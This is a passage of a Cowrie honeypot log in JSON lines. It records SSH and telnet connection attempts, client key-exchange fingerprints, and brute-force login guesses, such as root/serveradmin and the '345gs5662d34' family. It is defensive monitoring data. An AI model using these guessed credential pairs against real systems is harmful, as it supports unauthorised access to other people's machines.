roup18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:14.724562Z","src_ip":"103.63.108.25","session":"059ff53dbcea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serveradmin","message":"login attempt [root/serveradmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:14.778912Z","src_ip":"152.32.238.146","session":"e69dc63c5e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.779966592788696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:15.657603Z","src_ip":"91.199.236.33","session":"461059f585d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:15.792581Z","src_ip":"152.32.238.146","session":"e69dc63c5e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:15.865702Z","src_ip":"103.63.108.25","session":"059ff53dbcea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.147.26.226","src_port":48564,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a8737c382ec","protocol":"telnet","message":"New connection: 198.147.26.226:48564 (159.203.135.109:23) [session: 9a8737c382ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:16.460922Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:17.151894Z","src_ip":"103.63.108.25","session":"059ff53dbcea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":57080,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca40589df4df","protocol":"ssh","message":"New connection: 103.63.108.25:57080 (159.203.135.109:22) [session: ca40589df4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:17.420407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:17.425963Z","src_ip":"103.63.108.25","session":"ca40589df4df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:17.698206Z","src_ip":"103.63.108.25","session":"ca40589df4df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.75822687149048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:17.704570Z","src_ip":"91.199.236.33","session":"cad783933717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.123.5.144","src_port":42936,"dst_ip":"159.203.135.109","dst_port":23,"session":"09baa9cecf96","protocol":"telnet","message":"New connection: 176.123.5.144:42936 (159.203.135.109:23) [session: 09baa9cecf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:18.449905Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:18.791913Z","src_ip":"103.63.108.25","session":"ca40589df4df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:19.077517Z","src_ip":"103.63.108.25","session":"60f74762b5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:19.081443Z","src_ip":"103.63.108.25","session":"ca40589df4df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":46286,"dst_ip":"159.203.135.109","dst_port":23,"session":"5de9a0df9d95","protocol":"telnet","message":"New connection: 43.243.201.97:46286 (159.203.135.109:23) [session: 5de9a0df9d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:19.634922Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.147.26.226","src_port":49236,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d3b629aa54e","protocol":"telnet","message":"New connection: 198.147.26.226:49236 (159.203.135.109:23) [session: 3d3b629aa54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:23.048681Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.123.5.144","src_port":41630,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bda8e513613","protocol":"telnet","message":"New connection: 176.123.5.144:41630 (159.203.135.109:23) [session: 3bda8e513613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:24.019281Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.147.26.226","src_port":49532,"dst_ip":"159.203.135.109","dst_port":23,"session":"d12fdca187c4","protocol":"telnet","message":"New connection: 198.147.26.226:49532 (159.203.135.109:23) [session: d12fdca187c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:26.016139Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.123.5.144","src_port":41646,"dst_ip":"159.203.135.109","dst_port":23,"session":"48b33148b660","protocol":"telnet","message":"New connection: 176.123.5.144:41646 (159.203.135.109:23) [session: 48b33148b660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:26.334445Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.245.253","src_port":22328,"dst_ip":"10.17.0.5","dst_port":23,"session":"db9dccdefd61","protocol":"telnet","message":"New connection: 117.50.245.253:22328 (10.17.0.5:23) [session: db9dccdefd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:26.702049Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.147.26.226","src_port":49598,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bf565fa9ed4","protocol":"telnet","message":"New connection: 198.147.26.226:49598 (159.203.135.109:23) [session: 2bf565fa9ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:27.044404Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.201.97","src_port":48764,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef3a2e9559b7","protocol":"telnet","message":"New connection: 43.243.201.97:48764 (159.203.135.109:23) [session: ef3a2e9559b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:27.761859Z"}
{"eventid":"cowrie.session.closed","duration":30.959898233413696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:28.051789Z","src_ip":"198.147.26.226","session":"06e7e431e907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998659372329712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:29.220083Z","src_ip":"67.231.17.187","session":"a0c03787715c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26459527015686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:29.697968Z","src_ip":"91.199.236.33","session":"25caac9697a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.17.187","src_port":33096,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d5d4edf8a8c","protocol":"telnet","message":"New connection: 67.231.17.187:33096 (159.203.135.109:23) [session: 0d5d4edf8a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:30.365477Z"}
{"eventid":"cowrie.session.closed","duration":30.83739423751831,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:30.406240Z","src_ip":"43.243.201.97","session":"18278f2faf23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.163499355316162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:39.107205Z","src_ip":"67.231.17.187","session":"569306ea226e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.123.5.144","src_port":36368,"dst_ip":"159.203.135.109","dst_port":23,"session":"37f4f96e1a9a","protocol":"telnet","message":"New connection: 176.123.5.144:36368 (159.203.135.109:23) [session: 37f4f96e1a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:40.330286Z"}
{"eventid":"cowrie.session.closed","duration":30.956755876541138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:41.739791Z","src_ip":"72.9.146.62","session":"8fc673c72772","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.192709922790527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:43.665371Z","src_ip":"91.199.236.33","session":"916ef4a17c33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793829679489136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:44.065325Z","src_ip":"67.231.17.187","session":"8fc4b23af427","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.539806365966797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:44.129087Z","src_ip":"43.243.201.97","session":"e248b01edc6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65026330947876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:47.111056Z","src_ip":"198.147.26.226","session":"9a8737c382ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.645462036132812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:49.095252Z","src_ip":"176.123.5.144","session":"09baa9cecf96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.9.146.62","src_port":40810,"dst_ip":"159.203.135.109","dst_port":23,"session":"10672ffc3f3a","protocol":"telnet","message":"New connection: 72.9.146.62:40810 (159.203.135.109:23) [session: 10672ffc3f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:49.965416Z"}
{"eventid":"cowrie.session.closed","duration":30.498934745788574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:50.133653Z","src_ip":"43.243.201.97","session":"5de9a0df9d95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9837429523468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:54.032312Z","src_ip":"198.147.26.226","session":"3d3b629aa54e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38232,"dst_ip":"159.203.135.109","dst_port":22,"session":"c151a7c4dae1","protocol":"ssh","message":"New connection: 159.203.92.129:38232 (159.203.135.109:22) [session: c151a7c4dae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:54.886770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:54.891842Z","src_ip":"159.203.92.129","session":"c151a7c4dae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:54.896889Z","src_ip":"159.203.92.129","session":"c151a7c4dae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"111111","message":"login attempt [aaaaaa/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:54.909569Z","src_ip":"159.203.92.129","session":"c151a7c4dae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.075979232788086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:55.095148Z","src_ip":"176.123.5.144","session":"3bda8e513613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:55.916518Z","src_ip":"159.203.92.129","session":"c151a7c4dae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.042410373687744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:57.058459Z","src_ip":"198.147.26.226","session":"d12fdca187c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752537488937378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:57.086883Z","src_ip":"176.123.5.144","session":"48b33148b660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.459407567977905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:57.161328Z","src_ip":"117.50.245.253","session":"db9dccdefd61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04359197616577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:58.087871Z","src_ip":"198.147.26.226","session":"2bf565fa9ed4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.388872385025024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:58.150615Z","src_ip":"43.243.201.97","session":"ef3a2e9559b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":53810,"dst_ip":"10.17.0.5","dst_port":22,"session":"729c0d3c3c16","protocol":"ssh","message":"New connection: 152.32.238.146:53810 (10.17.0.5:22) [session: 729c0d3c3c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:58.599921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:58.604908Z","src_ip":"152.32.238.146","session":"729c0d3c3c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:58.621750Z","src_ip":"152.32.238.146","session":"729c0d3c3c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@1234","message":"login attempt [root/server@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:58.705475Z","src_ip":"152.32.238.146","session":"729c0d3c3c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00163316726685,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:58.777330Z","src_ip":"152.59.19.2","session":"d5858da89ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":15440,"dst_ip":"159.203.135.109","dst_port":23,"session":"b05ac40f5eef","protocol":"telnet","message":"New connection: 152.59.19.2:15440 (159.203.135.109:23) [session: b05ac40f5eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:59.374236Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:33:59.718420Z","src_ip":"152.32.238.146","session":"729c0d3c3c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00238633155823,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:00.336258Z","src_ip":"152.59.19.2","session":"8298e59e8e97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00909185409546,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:00.347235Z","src_ip":"152.59.19.2","session":"787844864423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":10955,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4b1056b7f0e","protocol":"telnet","message":"New connection: 152.59.19.2:10955 (159.203.135.109:23) [session: a4b1056b7f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:00.915856Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":59088,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2090c54c5b4","protocol":"telnet","message":"New connection: 152.59.19.2:59088 (159.203.135.109:23) [session: e2090c54c5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:00.935154Z"}
{"eventid":"cowrie.session.closed","duration":30.725183248519897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:01.090234Z","src_ip":"67.231.17.187","session":"0d5d4edf8a8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.28.15.178","src_port":47066,"dst_ip":"159.203.135.109","dst_port":23,"session":"d038920d6c78","protocol":"telnet","message":"New connection: 103.28.15.178:47066 (159.203.135.109:23) [session: d038920d6c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:01.610107Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":58644,"dst_ip":"159.203.135.109","dst_port":23,"session":"acb2a11de492","protocol":"telnet","message":"New connection: 152.59.19.2:58644 (159.203.135.109:23) [session: acb2a11de492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:02.485413Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.123.5.144","src_port":45262,"dst_ip":"159.203.135.109","dst_port":23,"session":"b59f85373ea7","protocol":"telnet","message":"New connection: 176.123.5.144:45262 (159.203.135.109:23) [session: b59f85373ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:03.417495Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.28.15.178","src_port":47166,"dst_ip":"159.203.135.109","dst_port":23,"session":"98d3f20f8521","protocol":"telnet","message":"New connection: 103.28.15.178:47166 (159.203.135.109:23) [session: 98d3f20f8521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:34:03.670193Z"}
